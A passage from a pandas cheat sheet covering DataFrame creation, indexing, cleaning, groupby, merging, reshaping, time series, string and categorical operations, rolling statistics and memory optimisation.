df.to_parquet('output.parquet', compression='gzip')

# HTML
df.to_html('output.html', index=False)

# Pickle (preserves all pandas types)
df.to_pickle('data.pkl')
df = pd.read_pickle('data.pkl')

# From dictionary
df = pd.DataFrame({
    'A': [1, 2, 3],
    'B': [4, 5, 6]
})

# From list of lists
data = [[1, 4], [2, 5], [3, 6]]
df = pd.DataFrame(data, columns=['A', 'B'])

# From NumPy array
arr = np.random.randn(100, 5)
df = pd.DataFrame(arr, columns=list('ABCDE'))

# Empty DataFrame with schema
df = pd.DataFrame(columns=['name', 'age', 'city'])

# Date range DataFrame
dates = pd.date_range('2023-01-01', periods=100, freq='D')
df = pd.DataFrame({'date': dates, 'value': np.random.randn(100)})

# From records
records = [
    (1, 'Alice', 25),
    (2, 'Bob', 30),
    (3, 'Charlie', 35)
]
df = pd.DataFrame.from_records(records, columns=['id', 'name', 'age'])

df = pd.DataFrame({
    'A': [1, 2, 3, 4],
    'B': [10, 20, 30, 40],
    'C': [100, 200, 300, 400]
})

# Single column (returns Series)
df['A']
df.A  # Only if column name is valid Python identifier

# Multiple columns (returns DataFrame)
df[['A', 'B']]

# Column slicing (by position, not label!)
df.iloc[:, 0:2]  # First two columns

# Select columns by type
df.select_dtypes(include=['int64'])
df.select_dtypes(exclude=['object'])
df.select_dtypes(include=[np.number])  # All numeric

# Filter columns by name pattern
df.filter(like='col')       # Contains 'col'
df.filter(regex='^col')     # Starts with 'col'
df.filter(items=['A', 'B']) # Exact names

# By position (integer-location based)
df.iloc[0]        # First row
df.iloc[-1]       # Last row
df.iloc[0:3]      # First three rows
df.iloc[[0, 2]]   # First and third rows

# By label (label-based)
df.loc[0]         # Row with index label 0
df.loc[0:2]       # INCLUSIVE slicing!
df.loc[['a', 'c']]  # Specific labels

# Boolean indexing
df[df['A'] > 2]
df[df['B'].isin([10, 30])]
df[(df['A'] > 2) & (df['B'] < 40)]  # Multiple conditions
df[df['A'].between(2, 3)]

# Query method (SQL-like)
df.query('A > 2')
df.query('A > 2 and B < 40')
df.query('A in [1, 3]')

# loc: [rows, columns] by label
df.loc[0, 'A']              # Single value
df.loc[0:2, ['A', 'B']]     # Rows 0-2, columns A and B
df.loc[:, 'A':'C']          # All rows, columns A through C
df.loc[df['A'] > 2, 'B']    # Boolean row selection, column B

# iloc: [rows, columns] by integer position
df.iloc[0, 0]               # First row, first column
df.iloc[0:2, 0:2]           # First 2 rows, first 2 columns
df.iloc[:, [0, 2]]          # All rows, first and third columns
df.iloc[df['A'].values > 2, 1]  # Boolean with iloc (convert to bool array)

# at and iat: Fast scalar access
df.at[0, 'A']    # By label (faster than loc for scalars)
df.iat[0, 0]     # By position (faster than iloc for scalars)

# Simple boolean masks
mask = df['A'] > 2
df[mask]

# Compound conditions (use & | ~ not 'and' 'or' 'not')
df[(df['A'] > 2) & (df['B'] < 40)]   # AND
df[(df['A'] > 2) | (df['B'] < 40)]   # OR
df[~(df['A'] > 2)]                    # NOT

# Using isin for membership
df[df['A'].isin([1, 3, 5])]

# String methods
df[df['name'].str.contains('Alice')]
df[df['name'].str.startswith('A')]

# Null checks
df[df['A'].isna()]
df[df['A'].notna()]

# Multiple column conditions
df[df[['A', 'B']].apply(lambda x: x.sum() > 50, axis=1)]

# Query with variables
threshold = 2
df.query('A > @threshold')  # @ for external variables

# Fancy indexing with lists
rows = [0, 2, 4]
cols = ['A', 'C']
df.loc[rows, cols]

# Boolean indexing with assignment
df.loc[df['A'] > 2, 'B'] = 999  # Set values where condition is True

# MultiIndex selection
df.loc[('A', 1), :]  # Tuple for multi-level index
df.xs('A', level=0)   # Cross-section

# IndexSlice for complex multi-index selection
idx = pd.IndexSlice
df.loc[idx[:, 'value'], :]  # All first level, 'value' in second level

# Detecting missing values
df.isna()         # Boolean DataFrame
df.isna().sum()   # Count per column
df.isna().sum().sum()  # Total missing values
df.isnull()       # Alias for isna()

# Visualize missing patterns
df.isna().sum().plot(kind='bar')

# Check if any/all missing
df.isna().any()   # Any missing per column
df.isna().all()   # All missing per column

# Drop missing values
df.dropna()                    # Drop rows with any NA
df.dropna(how='all')          # Drop rows where all values are NA
df.dropna(subset=['A', 'B'])  # Drop rows with NA in specific columns
df.dropna(axis=1)             # Drop columns with any NA
df.dropna(thresh=2)           # Keep rows with at least 2 non-NA values

# Fill missing values
df.fillna(0)                  # Fill with constant
df.fillna({'A': 0, 'B': 99})  # Different values per column
df.fillna(method='ffill')     # Forward fill
df.fillna(method='bfill')     # Backward fill
df.fillna(df.mean())          # Fill with column mean
df.fillna(df.median())        # Fill with column median
df.fillna(df.mode().iloc[0])  # Fill with mode

# Interpolate missing values
df.interpolate()                    # Linear interpolation
df.interpolate(method='polynomial', order=2)  # Polynomial
df.interpolate(method='time')       # Time-based interpolation

# Replace specific values
df.replace(0, np.nan)         # Replace 0 with NaN
df.replace([0, 1], [100, 200])  # Multiple replacements
df.replace({'A': 0}, 100)     # Column-specific replacement

# Detect duplicates
df.duplicated()                    # Boolean Series
df.duplicated().sum()              # Count duplicates
df.duplicated(subset=['A'])        # Check specific columns
df.duplicated(keep='first')        # Mark all but first as duplicate
df.duplicated(keep='last')         # Mark all but last as duplicate
df.duplicated(keep=False)          # Mark all duplicates (including first)

# Get duplicate rows
df[df.duplicated()]
df[df.duplicated(subset=['name'], keep=False)]

# Remove duplicates
df.drop_duplicates()
df.drop_duplicates(subset=['name'])  # Based on specific columns
df.drop_duplicates(keep='last')      # Keep last occurrence
df.drop_duplicates(inplace=True)     # Modify in place

# Check types
df.dtypes
df['A'].dtype

# Convert types
df['A'] = df['A'].astype(int)
df['B'] = df['B'].astype(float)
df['C'] = df['C'].astype(str)

# Convert to categorical
df['category'] = df['category'].astype('category')

# Convert to datetime
df['date'] = pd.to_datetime(df['date'])
df['date'] = pd.to_datetime(df['date'], format='%Y-%m-%d')
df['date'] = pd.to_datetime(df['date'], errors='coerce')  # Invalid -> NaT

# Convert to numeric (handles errors)
df['number'] = pd.to_numeric(df['number'], errors='coerce')  # Invalid -> NaN
df['number'] = pd.to_numeric(df['number'], errors='ignore')  # Leave as-is

# Infer better dtypes
df = df.infer_objects()
df = df.convert_dtypes()  # Use nullable dtypes (pd.Int64, pd.StringDtype)

# Strip whitespace
df['name'] = df['name'].str.strip()
df['name'] = df['name'].str.lstrip()
df['name'] = df['name'].str.rstrip()

# Case conversion
df['name'] = df['name'].str.lower()
df['name'] = df['name'].str.upper()
df['name'] = df['name'].str.title()

# Replace patterns
df['text'] = df['text'].str.replace('old', 'new')
df['text'] = df['text'].str.replace(r'\d+', '', regex=True)  # Remove digits

# Remove special characters
df['clean'] = df['text'].str.replace(r'[^a-zA-Z0-9\s]', '', regex=True)

# Extract patterns
df['number'] = df['text'].str.extract(r'(\d+)')
df[['area', 'phone']] = df['full_phone'].str.extract(r'(\d{3})-(\d{7})')

# Z-score method
from scipy import stats
z_scores = np.abs(stats.zscore(df['value']))
df_no_outliers = df[z_scores < 3]

# IQR method
Q1 = df['value'].quantile(0.25)
Q3 = df['value'].quantile(0.75)
IQR = Q3 - Q1
lower_bound = Q1 - 1.5 * IQR
upper_bound = Q3 + 1.5 * IQR
df_no_outliers = df[(df['value'] >= lower_bound) & (df['value'] <= upper_bound)]

# Clip outliers
df['value_clipped'] = df['value'].clip(lower_bound, upper_bound)

# Winsorize
from scipy.stats.mstats import winsorize
df['value_winsorized'] = winsorize(df['value'], limits=[0.05, 0.05])

# Sort by values
df.sort_values('A')                          # Ascending
df.sort_values('A', ascending=False)         # Descending
df.sort_values(['A', 'B'])                   # Multiple columns
df.sort_values(['A', 'B'], ascending=[True, False])  # Mixed order

# Sort by index
df.sort_index()
df.sort_index(ascending=False)

# Sort with custom key
df.sort_values('name', key=lambda x: x.str.lower())

# Boolean filtering
df[df['age'] > 25]
df[df['name'].str.contains('Alice')]

# Query method
df.query('age > 25')
df.query('age > 25 and city == "NYC"')
df.query('name.str.contains("Alice")', engine='python')

# Using where (keeps shape, fills non-matching with NaN)
df.where(df['age'] > 25)

# Using mask (opposite of where)
df.mask(df['age'] <= 25)

# Filter by callable
df[lambda x: x['age'] > 25]

# Add new column
df['new_col'] = 0
df['sum'] = df['A'] + df['B']
df['ratio'] = df['A'] / df['B']

# Add column from function
df['squared'] = df['A'].apply(lambda x: x ** 2)

# Add column with assign (returns new DataFrame)
df = df.assign(
    new1=lambda x: x['A'] * 2,
    new2=lambda x: x['new1'] + 10
)

# Insert column at specific position
df.insert(1, 'new_col', [1, 2, 3, 4])

# Remove columns
df.drop('col_name', axis=1)
df.drop(['col1', 'col2'], axis=1)
df.drop(columns=['col1', 'col2'])

# Remove columns in place
df.drop('col_name', axis=1, inplace=True)

# Select all except certain columns
df.drop(columns=df.columns.difference(['keep1', 'keep2']))

# Rename columns
df.rename(columns={'old': 'new'})
df.rename(columns={'A': 'col_A', 'B': 'col_B'})

# Rename with function
df.rename(columns=str.lower)
df.rename(columns=lambda x: x.replace(' ', '_'))

# Set column names directly
df.columns = ['col1', 'col2', 'col3']

# Rename index
df.rename(index={0: 'row1', 1: 'row2'})

# Add prefix/suffix
df.add_prefix('col_')
df.add_suffix('_x')

# apply: Apply function along axis
df['A'].apply(lambda x: x ** 2)              # Series apply
df.apply(lambda x: x.max() - x.min())        # Column-wise (axis=0, default)
df.apply(lambda x: x.max() - x.min(), axis=1)  # Row-wise

# apply with multiple return values
df.apply(lambda x: pd.Series([x.min(), x.max()]), axis=1)

# map: Element-wise transformation (Series only)
df['category'].map({'A': 1, 'B': 2, 'C': 3})
df['value'].map(lambda x: x * 2)

# applymap: Element-wise transformation (entire DataFrame) - DEPRECATED
# Use .map() instead
df.map(lambda x: x * 2)

# replace: Value replacement
df.replace({'A': {'old': 'new'}})
df['status'].replace({'active': 1, 'inactive': 0})

# Vectorized string operations (preferred over apply)
df['text'].str.upper()  # Better than df['text'].apply(str.upper)

# Vectorized operations (always prefer these)
df['A'] * 2  # Better than df['A'].apply(lambda x: x * 2)

# Cut: Bin continuous data into discrete intervals
ages = [1, 5, 10, 15, 20, 25, 30, 35, 40]
bins = [0, 12, 18, 60, 100]
labels = ['Child', 'Teen', 'Adult', 'Senior']
pd.cut(ages, bins=bins, labels=labels)

# Equal-width bins
pd.cut(df['value'], bins=5)  # 5 equal-width bins

# qcut: Quantile-based discretization
pd.qcut(df['value'], q=4)  # Quartiles
pd.qcut(df['value'], q=4, labels=['Q1', 'Q2', 'Q3', 'Q4'])

# Custom function for binning
def age_group(age):
    if age < 18: return 'Minor'
    elif age < 65: return 'Adult'
    else: return 'Senior'

df['age_group'] = df['age'].apply(age_group)

# np.select for multiple conditions
conditions = [
    df['score'] >= 90,
    df['score'] >= 80,
    df['score'] >= 70,
    df['score'] >= 60
]
choices = ['A', 'B', 'C', 'D']
df['grade'] = np.select(conditions, choices, default='F')

# Rank
df['rank'] = df['score'].rank()
df['rank'] = df['score'].rank(ascending=False)  # Higher score = rank 1
df['rank'] = df['score'].rank(method='dense')    # No gaps in ranking
df['rank'] = df['score'].rank(method='min')      # Ties get minimum rank
df['rank'] = df['score'].rank(pct=True)          # Percentile ranks

# Quantile
df['score'].quantile(0.25)  # 25th percentile
df['score'].quantile([0.25, 0.5, 0.75])  # Multiple quantiles
df.quantile(0.5)  # Median of all numeric columns

# Group by single column
grouped = df.groupby('category')

# Group by multiple columns
grouped = df.groupby(['category', 'region'])

# Aggregation
df.groupby('category')['value'].sum()
df.groupby('category')['value'].mean()
df.groupby('category')['value'].count()
df.groupby('category').size()  # Count including NaN

# Multiple aggregations
df.groupby('category').agg({
    'value': 'sum',
    'quantity': 'mean',
    'price': ['min', 'max']
})

# Named aggregations (pandas 0.25+)
df.groupby('category').agg(
    total_value=('value', 'sum'),
    avg_quantity=('quantity', 'mean'),
    max_price=('price', 'max')
)

# Apply same aggregation to all columns
df.groupby('category').sum()
df.groupby('category').mean()

# Custom aggregation functions
def range_func(x):
    return x.max() - x.min()

df.groupby('category')['value'].agg(range_func)
df.groupby('category')['value'].agg(['sum', 'mean', range_func])

# agg with lambda
df.groupby('category')['value'].agg(lambda x: x.max() - x.min())

# Multiple columns, multiple functions
df.groupby('category').agg({
    'value': ['sum', 'mean', 'std'],
    'quantity': ['min', 'max'],
    'price': lambda x: x.median()
})

# transform: Return same-shaped object with group-wise operations
df['value_norm'] = df.groupby('category')['value'].transform(
    lambda x: (x - x.mean()) / x.std()
)

# Group-wise centering
df['centered'] = df.groupby('category')['value'].transform(lambda x: x - x.mean())

# filter: Filter groups based on group properties
df.groupby('category').filter(lambda x: x['value'].sum() > 100)
df.groupby('category').filter(lambda x: len(x) >= 5)  # Groups with >=5 members

# Iterate over groups
for name, group in df.groupby('category'):
    print(f"Group: {name}")
    print(group)
    print()

# Get specific group
df.groupby('category').get_group('A')

# Apply custom function to each group
def process_group(group):
    group['normalized'] = (group['value'] - group['value'].mean()) / group['value'].std()
    return group

df = df.groupby('category').apply(process_group)

# apply vs transform
# apply: Can change shape, returns DataFrame
# transform: Must return same shape, returns Series/DataFrame aligned with input

# Cumulative operations within groups
df['cumsum'] = df.groupby('category')['value'].cumsum()
df['cummax'] = df.groupby('category')['value'].cummax()
df['rank'] = df.groupby('category')['value'].rank()

# Group by bins
df['age_group'] = pd.cut(df['age'], bins=[0, 18, 35, 50, 100])
df.groupby('age_group')['income'].mean()

# Group by time period
df['date'] = pd.to_datetime(df['date'])
df.set_index('date').groupby(pd.Grouper(freq='M')).sum()  # Monthly
df.set_index('date').groupby(pd.Grouper(freq='W')).sum()  # Weekly
df.set_index('date').groupby(pd.Grouper(freq='Q')).sum()  # Quarterly

# Pivot table: GroupBy + Reshape in one operation
df.pivot_table(
    values='sales',
    index='region',
    columns='product',
    aggfunc='sum'
)

# Multiple aggregations
df.pivot_table(
    values='sales',
    index='region',
    columns='product',
    aggfunc=['sum', 'mean', 'count']
)

# Multiple values
df.pivot_table(
    values=['sales', 'profit'],
    index='region',
    columns='product',
    aggfunc='sum'
)

# With margins (totals)
df.pivot_table(
    values='sales',
    index='region',
    columns='product',
    aggfunc='sum',
    margins=True,
    margins_name='Total'
)

# Fill missing values
df.pivot_table(
    values='sales',
    index='region',
    columns='product',
    aggfunc='sum',
    fill_value=0
)

# Vertical concatenation (stacking rows)
df1 = pd.DataFrame({'A': [1, 2], 'B': [3, 4]})
df2 = pd.DataFrame({'A': [5, 6], 'B': [7, 8]})
pd.concat([df1, df2])  # axis=0 is default

# Reset index after concat
pd.concat([df1, df2], ignore_index=True)

# Horizontal concatenation (side by side)
pd.concat([df1, df2], axis=1)

# Concatenate with keys (multi-level index)
pd.concat([df1, df2], keys=['first', 'second'])

# Only keep matching columns
pd.concat([df1, df2], join='inner')

# Keep all columns, fill with NaN
pd.concat([df1, df2], join='outer')  # Default

df1 = pd.DataFrame({'key': ['A', 'B', 'C'], 'value1': [1, 2, 3]})
df2 = pd.DataFrame({'key': ['B', 'C', 'D'], 'value2': [4, 5, 6]})

# Inner join (intersection)
pd.merge(df1, df2, on='key', how='inner')
# Result: B, C

# Left join (keep all from left)
pd.merge(df1, df2, on='key', how='left')
# Result: A, B, C (value2 is NaN for A)

# Right join (keep all from right)
pd.merge(df1, df2, on='key', how='right')
# Result: B, C, D (value1 is NaN for D)

# Outer join (union)
pd.merge(df1, df2, on='key', how='outer')
# Result: A, B, C, D (with NaN where no match)

# Merge on multiple columns
pd.merge(df1, df2, on=['key1', 'key2'])

# Merge with different column names
pd.merge(df1, df2, left_on='key1', right_on='key2')

# Merge on index
pd.merge(df1, df2, left_index=True, right_index=True)

# Suffixes for overlapping columns
pd.merge(df1, df2, on='key', suffixes=('_left', '_right'))

# Validate merge type
pd.merge(df1, df2, on='key', validate='one_to_one')
# Options: 'one_to_one', 'one_to_many', 'many_to_one', 'many_to_many'

# Join using index
df1.join(df2)  # Left join by default
df1.join(df2, how='inner')
df1.join(df2, how='outer')

# Join on column
df1.join(df2, on='key')

# Join with suffix
df1.join(df2, lsuffix='_left', rsuffix='_right')

# Indicator column (shows merge source)
result = pd.merge(df1, df2, on='key', how='outer', indicator=True)
# _merge column: 'left_only', 'right_only', 'both'

# Check for merge issues
result[result['_merge'] == 'left_only']  # Rows only in left
result[result['_merge'] == 'right_only']  # Rows only in right

# Merge with validation
try:
    pd.merge(df1, df2, on='key', validate='one_to_one')
except ValueError as e:
    print(f"Merge validation failed: {e}")

# Wide to long: melt
df_wide = pd.DataFrame({
    'id': [1, 2, 3],
    '2020': [100, 200, 300],
    '2021': [110, 220, 330],
    '2022': [120, 240, 360]
})

df_long = df_wide.melt(
    id_vars=['id'],
    value_vars=['2020', '2021', '2022'],
    var_name='year',
    value_name='value'
)

# Long to wide: pivot
df_wide_again = df_long.pivot(
    index='id',
    columns='year',
    values='value'
)

# pivot_table (handles duplicates with aggregation)
df_long.pivot_table(
    index='id',
    columns='year',
    values='value',
    aggfunc='mean'
)

# Stack: Column labels → innermost row index
df = pd.DataFrame({
    'A': [1, 2],
    'B': [3, 4]
}, index=['row1', 'row2'])

stacked = df.stack()
# Multi-index Series:
# row1  A    1
#       B    3
# row2  A    2
#       B    4

# Unstack: Row index → column labels
unstacked = stacked.unstack()  # Back to original

# Unstack specific level
multi_index_df.unstack(level=0)
multi_index_df.unstack(level='level_name')

# Fill NaN after unstack
df.unstack(fill_value=0)

# Frequency table
df = pd.DataFrame({
    'gender': ['M', 'F', 'M', 'F', 'M'],
    'smoker': ['Y', 'N', 'Y', 'Y', 'N'],
    'age_group': ['Adult', 'Adult', 'Senior', 'Adult', 'Senior']
})

# Simple cross-tabulation
pd.crosstab(df['gender'], df['smoker'])

# With margins
pd.crosstab(df['gender'], df['smoker'], margins=True)

# Normalize (proportions)
pd.crosstab(df['gender'], df['smoker'], normalize='index')  # Row percentages
pd.crosstab(df['gender'], df['smoker'], normalize='columns')  # Column percentages
pd.crosstab(df['gender'], df['smoker'], normalize='all')  # Overall percentages

# With aggregation
pd.crosstab(df['gender'], df['smoker'],
            values=df['age'], aggfunc='mean')

# Multiple row/column variables
pd.crosstab([df['gender'], df['age_group']], df['smoker'])

# Swap rows and columns
df.T
df.transpose()

# Expand lists in column to separate rows
df = pd.DataFrame({
    'name': ['Alice', 'Bob'],
    'hobbies': [['reading', 'swimming'], ['gaming', 'cooking', 'travel']]
})

df.explode('hobbies')
# name    hobbies
# Alice   reading
# Alice   swimming
# Bob     gaming
# Bob     cooking
# Bob     travel

# Explode multiple columns (pandas 1.3+)
df.explode(['hobbies', 'other_col'])

# Create datetime objects
pd.Timestamp('2023-01-01')
pd.Timestamp('2023-01-01 12:30:45')
pd.Timestamp(2023, 1, 1)

# Date range
dates = pd.date_range('2023-01-01', '2023-12-31', freq='D')  # Daily
dates = pd.date_range('2023-01-01', periods=100, freq='H')   # 100 hours
dates = pd.date_range('2023-01-01', periods=12, freq='MS')   # Month start

# Frequencies: 'D' (day), 'H' (hour), 'T' or 'min' (minute),
#              'S' (second), 'W' (week), 'M' (month end),
#              'MS' (month start), 'Q' (quarter), 'Y' (year)

# Business day frequencies
pd.date_range('2023-01-01', periods=10, freq='B')   # Business days
pd.date_range('2023-01-01', periods=10, freq='BM')  # Business month end

# Convert to datetime
df['date'] = pd.to_datetime(df['date'])
df['date'] = pd.to_datetime(df['date'], format='%Y-%m-%d')
df['date'] = pd.to_datetime(df['date'], errors='coerce')  # Invalid → NaT

df['date'] = pd.to_datetime(df['date'])

# Extract components
df['year'] = df['date'].dt.year
df['month'] = df['date'].dt.month
df['day'] = df['date'].dt.day
df['hour'] = df['date'].dt.hour
df['dayofweek'] = df['date'].dt.dayofweek  # Monday=0, Sunday=6
df['dayofyear'] = df['date'].dt.dayofyear
df['week'] = df['date'].dt.isocalendar().week
df['quarter'] = df['date'].dt.quarter

# Day name and month name
df['day_name'] = df['date'].dt.day_name()  # 'Monday', etc.
df['month_name'] = df['date'].dt.month_name()

# Boolean checks
df['is_month_start'] = df['date'].dt.is_month_start
df['is_month_end'] = df['date'].dt.is_month_end
df['is_quarter_start'] = df['date'].dt.is_quarter_start
df['is_year_start'] = df['date'].dt.is_year_start
df['is_leap_year'] = df['date'].dt.is_leap_year

# Time deltas
df['days_since'] = (pd.Timestamp.now() - df['date']).dt.days

# Set datetime as index
df = df.set_index('date')

# Sort by datetime index
df = df.sort_index()

# Select by date
df.loc['2023-01-01']
df.loc['2023-01']  # Entire month
df.loc['2023']     # Entire year
df.loc['2023-01':'2023-06']  # Date range

# Boolean filtering
df[df.index.year == 2023]
df[df.index.month == 1]
df[(df.index >= '2023-01-01') & (df.index < '2023-02-01')]

# Truncate
df.truncate(before='2023-01-01', after='2023-12-31')

# Downsampling (high freq → low freq)
df_daily = df.resample('D').sum()     # Daily sum
df_weekly = df.resample('W').mean()   # Weekly mean
df_monthly = df.resample('M').agg({
    'value': 'sum',
    'quantity': 'mean'
})

# Upsampling (low freq → high freq)
df_hourly = df.resample('H').ffill()  # Forward fill
df_hourly = df.resample('H').interpolate()  # Interpolate

# Custom aggregation
df.resample('M').agg({
    'open': 'first',
    'high': 'max',
    'low': 'min',
    'close': 'last',
    'volume': 'sum'
})

# OHLC resampling (financial data)
df.resample('D').ohlc()

# Simple moving average
df['MA_7'] = df['value'].rolling(window=7).mean()

# Multiple aggregations
df['rolling_stats'] = df['value'].rolling(window=7).agg(['mean', 'std', 'min', 'max'])

# Centered window
df['MA_centered'] = df['value'].rolling(window=7, center=True).mean()

# Minimum periods (requires at least N non-NaN values)
df['MA'] = df['value'].rolling(window=7, min_periods=1).mean()

# Custom function
df['custom'] = df['value'].rolling(window=7).apply(lambda x: x.max() - x.min())

# Exponentially weighted moving average
df['EMA'] = df['value'].ewm(span=7).mean()
df['EMA'] = df['value'].ewm(alpha=0.3).mean()  # Decay factor

# Shift forward (lag)
df['value_lag1'] = df['value'].shift(1)
df['value_lag7'] = df['value'].shift(7)

# Shift backward (lead)
df['value_lead1'] = df['value'].shift(-1)

# Shift with custom frequency (datetime index)
df['value_prev_month'] = df['value'].shift(1, freq='M')

# Percent change
df['pct_change'] = df['value'].pct_change()
df['pct_change_7d'] = df['value'].pct_change(periods=7)

# Difference
df['diff'] = df['value'].diff()
df['diff_7d'] = df['value'].diff(periods=7)

# Localize (add timezone to naive datetime)
df.index = df.index.tz_localize('UTC')
df.index = df.index.tz_localize('US/Eastern')

# Convert timezone
df.index = df.index.tz_convert('Asia/Tokyo')

# Check timezone
df.index.tz

# Remove timezone
df.index = df.index.tz_localize(None)

# All string methods accessed via .str
df['text'].str.lower()
df['text'].str.upper()
df['text'].str.title()
df['text'].str.capitalize()
df['text'].str.swapcase()

# Strip whitespace
df['text'].str.strip()
df['text'].str.lstrip()
df['text'].str.rstrip()

# Length
df['text'].str.len()

# Concatenation
df['full_name'] = df['first_name'].str.cat(df['last_name'], sep=' ')

# Repeat
df['repeated'] = df['text'].str.repeat(3)

# Contains
df[df['text'].str.contains('keyword')]
df[df['text'].str.contains('keyword', case=False)]  # Case-insensitive
df[df['text'].str.contains('key|word', regex=True)]  # OR pattern

# Startswith / Endswith
df[df['text'].str.startswith('prefix')]
df[df['text'].str.endswith('suffix')]

# Match (requires pattern at start)
df['text'].str.match(r'^\d+')  # Starts with digits

# Find position
df['text'].str.find('substring')  # Returns index or -1
df['text'].str.rfind('substring')  # Find from right

# Count occurrences
df['text'].str.count('pattern')

# Simple replacement
df['text'].str.replace('old', 'new')
df['text'].str.replace('old', 'new', case=False)

# Regex replacement
df['text'].str.replace(r'\d+', '', regex=True)  # Remove all digits
df['text'].str.replace(r'\s+', ' ', regex=True)  # Normalize whitespace

# Multiple replacements
df['text'].str.replace({'old1': 'new1', 'old2': 'new2'})

# Extract with regex groups
df['text'].str.extract(r'(\d+)')  # First group
df[['area', 'phone']] = df['phone'].str.extract(r'(\d{3})-(\d{7})')

# Extract all occurrences
df['text'].str.extractall(r'(\d+)')

# Split
df['text'].str.split()  # Returns list
df['text'].str.split(expand=True)  # Returns DataFrame
df[['first', 'last']] = df['name'].str.split(' ', n=1, expand=True)

# Split from right
df['text'].str.rsplit(n=1, expand=True)

# Partition (split into 3 parts)
df['email'].str.partition('@')  # [before, separator, after]

# Pad
df['text'].str.pad(width=10, side='left', fillchar='0')  # Zero-padding
df['text'].str.pad(width=10, side='right')
df['text'].str.pad(width=10, side='both')

# Center
df['text'].str.center(width=20, fillchar='*')

# Slice
df['text'].str.slice(start=0, stop=5)
df['text'].str[:5]  # First 5 characters

# Get specific character
df['text'].str.get(0)  # First character
df['text'].str[0]     # Alternative

# Wrap text
df['text'].str.wrap(width=40)

# Normalize (Unicode)
df['text'].str.normalize('NFC')

# Regular expression methods
df['text'].str.findall(r'\b\w+\b')  # All words
df['text'].str.replace(r'(\w+) (\w+)', r'\2 \1', regex=True)  # Swap words

# String contains any/all
keywords = ['python', 'pandas', 'numpy']
df['has_keyword'] = df['text'].str.contains('|'.join(keywords), case=False)

# Remove special characters
df['clean'] = df['text'].str.replace(r'[^a-zA-Z0-9\s]', '', regex=True)

# Decode/Encode
df['text'].str.encode('utf-8')
df['bytes'].str.decode('utf-8')

# String formatting
df['formatted'] = df['value'].apply(lambda x: f'{x:.2f}')

# Convert to categorical
df['category'] = df['category'].astype('category')
df['category'] = pd.Categorical(df['category'])

# Create with specific categories and order
df['size'] = pd.Categorical(
    df['size'],
    categories=['small', 'medium', 'large'],
    ordered=True
)

# Check if categorical
df['category'].dtype == 'category'

# Get categories
df['category'].cat.categories

# Get codes (integer representation)
df['category'].cat.codes

# Check if ordered
df['category'].cat.ordered

# Add categories
df['category'] = df['category'].cat.add_categories(['new_cat'])

# Remove categories
df['category'] = df['category'].cat.remove_categories(['old_cat'])

# Rename categories
df['category'] = df['category'].cat.rename_categories({
    'old': 'new'
})

# Reorder categories
df['size'] = df['size'].cat.reorder_categories(
    ['small', 'medium', 'large', 'xl'],
    ordered=True
)

# Set ordered
df['category'] = df['category'].cat.as_ordered()
df['category'] = df['category'].cat.as_unordered()

# Remove unused categories
df['category'] = df['category'].cat.remove_unused_categories()

# Memory savings
df['category'] = df['category'].astype('category')
# Can reduce memory usage by 50-90% for low-cardinality columns

# Faster groupby
df.groupby('category').sum()  # Faster with categorical

# Ordered comparisons
df['size'] = pd.Categorical(
    df['size'],
    categories=['S', 'M', 'L', 'XL'],
    ordered=True
)
df[df['size'] > 'M']  # Returns L and XL

# Preserved category order in plots
df['size'].value_counts().plot(kind='bar')  # Bars in category order

# Simple rolling
df['rolling_mean'] = df['value'].rolling(window=7).mean()
df['rolling_sum'] = df['value'].rolling(window=7).sum()
df['rolling_std'] = df['value'].rolling(window=7).std()

# Multiple aggregations
df[['mean', 'std', 'min', 'max']] = df['value'].rolling(window=7).agg(
    ['mean', 'std', 'min', 'max']
)

# Custom function
df['range'] = df['value'].rolling(window=7).apply(
    lambda x: x.max() - x.min()
)

# With min_periods
df['rolling_mean'] = df['value'].rolling(window=7, min_periods=1).mean()

# Centered window
df['centered_ma'] = df['value'].rolling(window=7, center=True).mean()

# Cumulative operations
df['expanding_mean'] = df['value'].expanding().mean()
df['expanding_sum'] = df['value'].expanding().sum()
df['expanding_max'] = df['value'].expanding().max()

# Same as cumsum, cummax, etc.
df['cumsum'] = df['value'].cumsum()
df['cummax'] = df['value'].cummax()
df['cummin'] = df['value'].cummin()
df['cumprod'] = df['value'].cumprod()

# EWMA - Exponentially Weighted Moving Average
df['ewma'] = df['value'].ewm(span=7).mean()
df['ewma'] = df['value'].ewm(alpha=0.3).mean()
df['ewma'] = df['value'].ewm(halflife=7).mean()

# Other EW functions
df['ewm_std'] = df['value'].ewm(span=7).std()
df['ewm_var'] = df['value'].ewm(span=7).var()

# Adjust parameter
df['ewma'] = df['value'].ewm(span=7, adjust=False).mean()

# Bollinger Bands
window = 20
df['MA'] = df['close'].rolling(window).mean()
df['std'] = df['close'].rolling(window).std()
df['upper_band'] = df['MA'] + 2 * df['std']
df['lower_band'] = df['MA'] - 2 * df['std']

# RSI (Relative Strength Index)
delta = df['close'].diff()
gain = delta.where(delta > 0, 0)
loss = -delta.where(delta < 0, 0)
avg_gain = gain.rolling(window=14).mean()
avg_loss = loss.rolling(window=14).mean()
rs = avg_gain / avg_loss
df['RSI'] = 100 - (100 / (1 + rs))

# MACD (Moving Average Convergence Divergence)
df['ema12'] = df['close'].ewm(span=12).mean()
df['ema26'] = df['close'].ewm(span=26).mean()
df['MACD'] = df['ema12'] - df['ema26']
df['signal'] = df['MACD'].ewm(span=9).mean()

# Check memory usage
df.info(memory_usage='deep')
df.memory_usage(deep=True)

# Optimize dtypes
def optimize_dtypes(df):
    for col in df.select_dtypes(include=['int']).columns:
        df[col] = pd.to_numeric(df[col], downcast='integer')

    for col in df.select_dtypes(include=['float']).columns:
        df[col] = pd.to_numeric(df[col], downcast='float')

    for col in df.select_dtypes(include=['object']).columns:
        if df[col].nunique() / len(df) < 0.5:  # Low cardinality
            df[col] = df[col].astype('category')

    return df

df = optimize_dtypes(df)

# Use specific dtypes when reading
df = pd.read_csv('data.csv', dtype={
    'id': 'int32',
    'value': 'float32',
    'category': 'category'
})

# Chunking for large files
chunk_size = 10000
chunks = []
for chunk in pd.read_csv('large_file.csv', chunksize=chunk_size):
    # Process chunk
    processed_chunk = process(chunk)
    chunks.append(processed_chunk)

df = pd.concat(chunks, ignore_index=True)

# BAD: Iterating rows
result = []
for idx, row in df.iterrows():  # SLOW!
    result.append(row['A'] + row['B'])
df['sum'] = result

# GOOD: Vectorized operation
df['sum'] = df['A'] + df['B']  # FAST!

# BAD: Apply with simple operation
df['squared'] = df['value'].apply(lambda x: x ** 2)

# GOOD: Direct operation
df['squared'] = df['value'] ** 2

# When apply is needed
df['complex'] = df.apply(lambda row: complex_function(row['A'], row['B']), axis=1)

# Try vectorization with numpy
